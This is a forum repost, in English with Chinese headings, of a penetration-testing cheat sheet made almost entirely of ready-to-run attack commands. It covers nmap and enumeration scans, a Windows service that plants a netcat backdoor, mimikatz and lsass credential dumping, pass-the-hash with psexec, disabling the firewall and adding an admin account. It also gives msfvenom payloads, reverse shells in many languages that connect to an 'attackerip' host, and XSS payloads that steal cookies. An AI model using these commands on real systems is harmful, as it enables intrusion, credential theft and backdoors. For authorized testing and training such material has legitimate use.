Nmap Full Web Vulnerable Scan
利用NAMP扫描网站
[Bash shell] 纯文本查看 复制代码 cd /usr/share/nmap/scripts/
wget [url=http://www.computec.ch/projekte/]http://www.computec.ch/projekte/[/url] ... _vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz
nmap -sS -sV --script=vulscan/vulscan.nse target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target
nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target
nmap -sV --script=vuln target
nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target
Dirb Dir Bruteforce:Dirb目录扫描工具[Bash shell] 纯文本查看 复制代码 dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt
Nikto web server scanner:WEB扫描工具Nikto
[Bash shell] 纯文本查看 复制代码 nikto -C all -h http://IP
WordPress Scanner：WordPress扫描工具
[Bash shell] 纯文本查看 复制代码 git clone [url=https://github.com/wpscanteam/wpscan.git]https://github.com/wpscanteam/wpscan.git[/url] && cd wpscan
./wpscan –url http://IP/ –enumerate p
HTTP Fingerprinting:http指纹扫描
[Bash shell] 纯文本查看 复制代码 wget [url=http://www.net-square.com/_assets/httprint_linux_301.zip]http://www.net-square.com/_assets/httprint_linux_301.zip[/url] && unzip httprint_linux_301.zip
cd httprint_301/linux/
./httprint -h http://IP -s signatures.txt
SKIP Fish Scannergoogle的一款安全扫描工具
[Bash shell] 纯文本查看 复制代码 skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP
Nmap Ports ScanNmap端口扫描
[Bash shell] 纯文本查看 复制代码 1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
2)fargement
3)data packed – like orginal one not scan packet
4)use auxiliary/scanner/ip/ipidseq for find zombie ip in network to use them to scan — nmap -sI ip target
5)nmap –source-port 53 target
nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target ( Randomize scan form diff IP)
nmap -Pn -T2 -sV –randomize-hosts IP1,IP2
nmap –script smb-check-vulns.nse -p445 target (using NSE scripts)
nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5)
nmap -sA -PN -sN target
nmap -sS -sV -T5 -F -A -O target (version detection)
nmap -sU -v target (Udp)
nmap -sU -P0 (Udp)
nmap -sC 192.168.31.10-12 (all scan default)
NC Scanning[Bash shell] 纯文本查看 复制代码 nc -v -w 1 target -z 1-1000
for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done
Unicornscan端口扫描工具
[Bash shell] 纯文本查看 复制代码 us -H -msf -Iv 192.168.56.101 -p 1-65535
us -H -mU -Iv 192.168.56.101 -p 1-65535
-H resolve hostnames during the reporting phase
-m scan mode (sf - tcp, U - udp)
-Iv - verbose
Xprobe2 OS fingerprinting远程主机操作系统探查工具
[Bash shell] 纯文本查看 复制代码 xprobe2 -v -p tcp:80:open IP
Samba EnumerationSamba枚举工具
[Bash shell] 纯文本查看 复制代码 nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target
SNMP EnumerationSNMP枚举工具
[Bash shell] 纯文本查看 复制代码 snmpget -v 1 -c public IP
snmpwalk -v 1 -c public IP
snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP
Windows Useful cmdswindows创建可用的CMD
[Bash shell] 纯文本查看 复制代码 net localgroup Users
net localgroup Administrators
search dir/s *.doc
system("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp For 32 bits
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp For 64 bits
PuTTY Link tunnelputty通道
[Bash shell] 纯文本查看 复制代码 Forward remote port to local address
plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP
Meterpreter portfwd利用mfs反弹端口
[Bash shell] 纯文本查看 复制代码 # [url=https://www.offensive-security.com/metasploit-unleashed/portfwd/]https://www.offensive-security.com/metasploit-unleashed/portfwd/[/url]
# forward remote port to local address
meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141
kali > rdesktop 127.0.0.1:3389
Enable RDP Access打开3389端口
[Bash shell] 纯文本查看 复制代码 reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
Turn Off Windows Firewall关闭windows防火墙
[Bash shell] 纯文本查看 复制代码 netsh firewall set opmode disable
Meterpreter VNC\RDP利用MSF开启远程桌面服务
[Bash shell] 纯文本查看 复制代码 run getgui -u admin -p 1234
run vnc -p 5043
Add New user in Windows添加新用户
[Bash shell] 纯文本查看 复制代码 net user test 1234 /add
net localgroup administrators test /add
Mimikatz usemimikatz使用方法
[Bash shell] 纯文本查看 复制代码 git clone [url=https://github.com/gentilkiwi/mimikatz.git]https://github.com/gentilkiwi/mimikatz.git[/url]
privilege::debug
sekurlsa::logonPasswords full
Passing the Hash获取hash
[Bash shell] 纯文本查看 复制代码 git clone [url=https://github.com/byt3bl33d3r/pth-toolkit]https://github.com/byt3bl33d3r/pth-toolkit[/url]
pth-winexe -U hash //IP cmd
or
apt-get install freerdp-x11
xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP
or
meterpreter > run post/windows/gather/hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
meterpreter > shell
Hashcat password crackinghash密码破解
[Bash shell] 纯文本查看 复制代码 hashcat -m 400 -a 0 hash /root/rockyou.txt
Netcat examplesnetcat使用示例
[Bash shell] 纯文本查看 复制代码 c:> nc -l -p 31337
#nc 192.168.0.10 31337
c:> nc -v -w 30 -p 31337 -l < secret.txt
#nc -v -w 2 192.168.0.10 31337 > secret.txt
Banner grabbing with NC利用NC获取Banner
[Bash shell] 纯文本查看 复制代码 nc 192.168.0.10 80
GET / HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/4.0
Referrer: [url=www.example.com]www.example.com[/url]
<enter>
<enter>
Window reverse shellwindowshell 反弹
[Bash shell] 纯文本查看 复制代码 c:>nc -Lp 31337 -vv -e cmd.exe
nc 192.168.0.10 31337
c:>nc example.com 80 -e cmd.exe
nc -lp 80
nc -lp 31337 -e /bin/bash
nc 192.168.0.10 31337
nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000
Find SUID\SGID root files查找SUID\SGID root 文件
[Bash shell] 纯文本查看 复制代码 # Find SUID root files
find / -user root -perm -4000 -print
# Find SGID root files:
find / -group root -perm -2000 -print
# Find SUID and SGID files owned by anyone:
find / -perm -4000 -o -perm -2000 -print
# Find files that are not owned by any user:
find / -nouser -print
# Find files that are not owned by any group:
find / -nogroup -print
# Find symlinks and what they point to:
find / -type l -ls
Python shellpython版shell
[Bash shell] 纯文本查看 复制代码 python -c 'import pty;pty.spawn("/bin/bash")'
Python\Ruby\PHP HTTP ServerPython\Ruby\PHP web服务
[Bash shell] 纯文本查看 复制代码 python2 -m SimpleHTTPServer
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:8888
Get PIDs of process得到系统进程的PID
[Bash shell] 纯文本查看 复制代码 fuser -nv tcp 80
fuser -k -n tcp 80
Hydra rdp Bruteforce利用hydra暴力破解rdp
[Bash shell] 纯文本查看 复制代码 hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp
Mount Remote Windows Share映射远程windows共享
[Bash shell] 纯文本查看 复制代码 smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
Compiling Exploit in Kali在kali环境中编译EXP
[Bash shell] 纯文本查看 复制代码 gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)
Compiling Windows Exploits on Kali在kali环境中编译windows版EXP
[Bash shell] 纯文本查看 复制代码 wget -O mingw-get-setup.exe [url=http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download]http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download[/url]
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget [url=http://gojhonny.com/misc/mingw_bin.zip]http://gojhonny.com/misc/mingw_bin.zip[/url] && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe
NASM CommandsNASM使用方法[Bash shell] 纯文本查看 复制代码 nasm -f bin -o payload.bin payload.asm
nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload
SSH Pivoting利用SSH内网转发
[Bash shell] 纯文本查看 复制代码 ssh -D 127.0.0.1:1080 -p 22 user@IP
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains commands target
SSH Pivoting from One Network to Another利用SSH，跨网段连接
[Bash shell] 纯文本查看 复制代码 ssh -D 127.0.0.1:1080 -p 22 user1@IP1
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2
Add socks4 127.0.0.1 1081 in /etc/proxychains.conf
proxychains commands target
Pivoting Using metasploit利用MSF，内网转发
[Bash shell] 纯文本查看 复制代码 route add X.X.X.X 255.255.255.0 1
use auxiliary/server/socks4a
run
proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E
or
# [url=https://www.offensive-security.com/metasploit-unleashed/pivoting/]https://www.offensive-security.com/metasploit-unleashed/pivoting/[/url]
meterpreter > ipconfig
IP Address : 10.1.13.3
meterpreter > run autoroute -s 10.1.13.0/24
meterpreter > run autoroute -p
10.1.13.0 255.255.255.0 Session 1
meterpreter > Ctrl+Z
msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 10.1.13.2
msf exploit(psexec) > exploit
meterpreter > ipconfig
IP Address : 10.1.13.2
Exploit-DB search using CSV File利用Exploit-DB查找可用的EXP
[Bash shell] 纯文本查看 复制代码 git clone [url=https://github.com/offensive-security/exploit-database.git]https://github.com/offensive-security/exploit-database.git[/url]
cd exploit-database
./searchsploit –u
./searchsploit apache 2.2
./searchsploit "Linux Kernel"
cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3
MSF Payloadsmsf payloads 使用方法
[Bash shell] 纯文本查看 复制代码 msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c
MSF Linux Reverse Meterpreter Binarymsf反向代理
[Bash shell] 纯文本查看 复制代码 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell
MSF Reverse Shell (C Shellcode)msf反向代理（c shellcode版）
[Bash shell] 纯文本查看 复制代码 msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c
MSF Reverse Shell Python Scriptmsf反向代理（python版）
[Bash shell] 纯文本查看 复制代码 msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py
MSF Reverse ASP Shellmsf反向代理（asp版）
[Bash shell] 纯文本查看 复制代码 msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp
MSF Reverse Bash Shellmsf反向代理（bash shell版）
[Bash shell] 纯文本查看 复制代码 msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh
MSF Reverse PHP Shellmsf反向代理（php版）
[Bash shell] 纯文本查看 复制代码 msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php
add <?php at the beginning
perl -i~ -0777pe's/^/<?php \n/' shell.php
MSF Reverse Win Binmsf反向代理（shell.exe版）
[Bash shell] 纯文本查看 复制代码 msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe
Linux Security CommandsLinux安全相关命令
[Bash shell] 纯文本查看 复制代码 # find programs with a set uid bit
find / -uid 0 -perm -4000
# find things that are world writable
find / -perm -o=w
# find names with dots and spaces, there shouldn’t be any
find / -name " " -print
find / -name ".." -print
find / -name ". " -print
find / -name " " -print
# find files that are not owned by anyone
find / -nouser
# look for files that are unlinked
lsof +L1
# get information about procceses with open ports
lsof -i
# look for weird things in arp
arp -a
# look at all accounts including AD
getent passwd
# look at all groups and membership including AD
getent group
# list crontabs for all users including AD
for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done
# generate random passwords
cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4
# find all immutable files, there should not be any
find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’
# fix immutable files
chattr -i file
Win Buffer Overflow Exploit Commandswindow缓存溢出EXP
[Bash shell] 纯文本查看 复制代码 msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c
msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c
COMMONLY USED BAD CHARACTERS:
\x00\x0a\x0d\x20 For http request
\x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c Ending with (0\n\r_)
# Useful Commands:
pattern create
pattern offset (EIP Address)
pattern offset (ESP Address)
add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )
!pvefindaddr pattern_create 5000
!pvefindaddr suggest
!pvefindaddr modules
!pvefindaddr nosafeseh
!mona config -set workingfolder C:\Mona\%p
!mona config -get workingfolder
!mona mod
!mona bytearray -b "\x00\x0a"
!mona pc 5000
!mona po EIP
!mona suggest
SEH - Structured Exception Handling结构化异常处理
[Bash shell] 纯文本查看 复制代码 # [url=https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH]https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH[/url]
!mona suggest
!mona nosafeseh
nseh="\xeb\x06\x90\x90" (next seh chain)
iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)
ROP (DEP)注：ROP(“Return-Oriented Programming”)是计算机安全漏洞利用技术，该技术允许攻击者在安全防御的情况下执行代码，如不可执行的内存和代码签名。
DEP(“Data Execution Prevention”)是一套软硬件技术，在内存上严格将代码和数据进行区分，防止数据当做代码执行。
[Bash shell] 纯文本查看 复制代码 # [url=https://en.wikipedia.org/wiki/Return-oriented_programming]https://en.wikipedia.org/wiki/Return-oriented_programming[/url]
# [url=https://en.wikipedia.org/wiki/Data_Execution_Prevention]https://en.wikipedia.org/wiki/Data_Execution_Prevention[/url]
!mona modules
!mona ropfunc -m *.dll -cpb "\x00\x09\x0a"
!mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)
ASLR - Address space layout randomization地址空间格局随机化
[Bash shell] 纯文本查看 复制代码 # [url=https://en.wikipedia.org/wiki/Address_space_layout_randomization]https://en.wikipedia.org/wiki/Address_space_layout_randomization[/url]
!mona noaslr
EGG Hunter techniques[Bash shell] 纯文本查看 复制代码 # [url=https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/]https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/[/url]
# [url=http://www.fuzzysecurity.com/tutorials/expDev/4.html]http://www.fuzzysecurity.com/tutorials/expDev/4.html[/url]
!mona jmp -r esp
!mona egg -t lxxl
\xeb\xc4 (jump backward -60)
buff=lxxllxxl+shell
!mona egg -t 'w00t'
GDB Debugger CommandsGDB Debugger使用命令
[Bash shell] 纯文本查看 复制代码 # Setting Breakpoint
break *_start
# Execute Next Instruction
next
step
n
s
# Continue Execution
continue
c
# Data
checking 'REGISTERS' and 'MEMORY'
# Display Register Values: (Decimal,Binary,Hex)
print /d –> Decimal
print /t –> Binary
print /x –> Hex
O/P :
(gdb) print /d $eax
$17 = 13
(gdb) print /t $eax
$18 = 1101
(gdb) print /x $eax
$19 = 0xd
(gdb)
# Display values of specific memory locations
command : x/nyz (Examine)
n –> Number of fields to display ==>
y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)
BASH Reverse Shellbash反弹shell
[Bash shell] 纯文本查看 复制代码 bash -i >& /dev/tcp/X.X.X.X/443 0>&1
exec /bin/bash 0&0 2>&0
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done
exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done # or:
while read line 0<&5; do $line 2>&5 >&5; done
/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
/bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1
PERL Reverse ShellPerl 反弹shell
[Bash shell] 纯文本查看 复制代码 perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
# for win platform
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
RUBY Reverse Shellruby 反弹shell
[Bash shell] 纯文本查看 复制代码 ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
# for win platform
ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
PYTHON Reverse Shellpython反弹shell
[Bash shell] 纯文本查看 复制代码 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP Reverse Shellphp反弹shell
[Bash shell] 纯文本查看 复制代码 php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'
JAVA Reverse Shelljava反弹shell
[Bash shell] 纯文本查看 复制代码 r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
NETCAT Reverse Shellnetcat反弹shell
[Bash shell] 纯文本查看 复制代码 nc -e /bin/sh attackerip 4444
nc -e /bin/sh 192.168.37.10 443
# If the -e option is disabled, try this
# mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc attackerip 443
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/
# If you have the wrong version of netcat installed, try
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f
TELNET Reverse Shelltelnet反弹shell
[Bash shell] 纯文本查看 复制代码 # If netcat is not available or /dev/tcp
mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe
XTERM Reverse Shellxterm反弹shell
[Bash shell] 纯文本查看 复制代码 # Start an open X Server on your system (:1 – which listens on TCP port 6001)
apt-get install xnest
Xnest :1
# Then remember to authorise on your system the target IP to connect to you
xterm -display 127.0.0.1:1
# Run this INSIDE the spawned xterm on the open X Server
xhost +targetip
# Then on the target connect back to the your X Server
xterm -display attackerip:1
/usr/openwin/bin/xterm -display attackerip:1
or
$ DISPLAY=attackerip:0 xterm
XSS Cheat CodesXSS技术
[Bash shell] 纯文本查看 复制代码 https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
("< iframes > src=http://IP:PORT </ iframes >")
<script>document.location=http://IP:PORT</script>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
";!–"<XSS>=&{()}
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="jav ascript:alert('XSS');">
perl -e 'print "<IMG SRC=javascript:alert(\"XSS\")>";' > out
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
(">< iframes [url=http://google.com]http://google.com[/url] < iframes >)
<BODY BACKGROUND="javascript:alert('XSS')">
<FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET>
"><script >alert(document.cookie)</script>
%253cscript%253ealert(document.cookie)%253c/script%253e
"><s"%2b"cript>alert(document.cookie)</script>
%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E
<img src=asdf onerror=alert(document.cookie)>
SSH Over SCTP (With Socat)SSH 利用 SCTP协议 (使用Socat)
[Bash shell] 纯文本查看 复制代码 # on remote server
# assuming you want the SCTP socket to listen on port 80/SCTP and sshd is on 22/TCP
$ socat SCTP-LISTEN:80,fork TCP:localhost:22
# localhost
# replace SERVER_IP with IP of listening server, and 80 with whatever port the SCTP listener is on :)
$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80
# create socks proxy
# replace username and -p port value as needed...
$ ssh -lusername localhost -D 8080 -p 1337
Install Metasploit Community Edition in Kali 2.0在kali上安装Metasploit Community Edition
[Bash shell] 纯文本查看 复制代码 # github urls
[url=https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version]https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version[/url]
wget [url=http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run]http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run[/url] && chmod
+x metasploit-latest-linux-x64-installer.run && ./metasploit-latest-linux-x64-installer.run
# create user
$ /opt/metasploit/createuser Please enter a username: root Creating user 'root' with password 'LsRRV[I^5' ...
# activate your metasploit license
https://localhost:3790
# update metasploite
$ /opt/metasploit/app/msfupdate
# use msfconsole
$ /opt/metasploit/app/msfconsole
参考
[Bash shell] 纯文本查看 复制代码 https://jivoi.github.io/2015/07/01/pentest-tips-and-tricks/
|